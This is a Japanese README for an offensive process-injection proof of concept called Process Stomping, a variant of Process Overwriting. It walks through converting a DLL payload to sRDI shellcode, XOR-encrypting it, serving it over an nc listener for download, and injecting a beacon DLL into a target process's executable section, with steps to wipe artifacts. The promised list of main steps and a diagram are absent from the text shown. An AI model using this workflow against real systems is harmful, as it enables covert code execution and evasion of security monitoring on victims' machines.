
実行可能ファイルのセクション上でシェルコードを実行するためのProcessOverwritingのバリエーション
実行可能ファイルのセクション上でシェルコードを実行するためのProcessOverwritingのバリエーション
より詳細な説明は私のブログ記事をご覧ください。
Process Stompingは、hasherezadeのProcess Overwritingのバリエーションであり、ホスティングプロセスのアドレス空間全体にPEペイロードを書き込む代わりに、ターゲットセクションにシェルコードペイロードを書き込む利点があります。
以下がProcessStomping技術の主なステップです:
この技術の応用例として、PoCはsRDIと組み合わせて、実行可能なRWXセクション上にビーコンDLLをロードするために使用できます。次の図は関与するステップを示しています。

すべての情報とコンテンツは教育目的のみで提供されています。指示に従う場合は自己責任で行ってください。著者およびその雇用者は、いかなる個人または組織から生じる直接的または結果的な損害または損失について責任を負いません。
この作品は、Aleksandra Doniec @hasherezade と Nick Landers が共有した知識とツールのおかげで可能になりました。
ターゲットプロセスを選択し、ProcessStomping.cpp内のグローバル変数を適宜変更してください。
sRDIプロジェクトをコンパイルする際、オフセットが生成したsRDIシェルコードブロブを飛び越えるのに十分であることを確認し、その後sRDIツールを更新します:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
任意のReflective-Loaderless DLLペイロードを生成し、その後sRDIシェルコードブロブを生成します:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
シェルコードブロブはキーワードでXORされ、単純なソケットを使用してダウンロードできます。
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
接続時にXORされたブロブを配信します
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
sRDIブロブは実行後に消去され、不要なアーティファクトを除去します。
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
この技術を正常に実行するには、適切なターゲットプロセスを選択し、ユーザー定義のリフレクティブローダーが付属していないDLLペイロードを使用する必要があります。
Process Stomping技術は、ターゲットプロセスを中断状態で起動し、スレッドのエントリポイントを変更し、その後スレッドを再開して注入されたシェルコードを実行する必要があります。これらは迅速に実行された場合に疑わしいと見なされる可能性があり、一部のセキュリティソリューションによる監視が強化される可能性があります。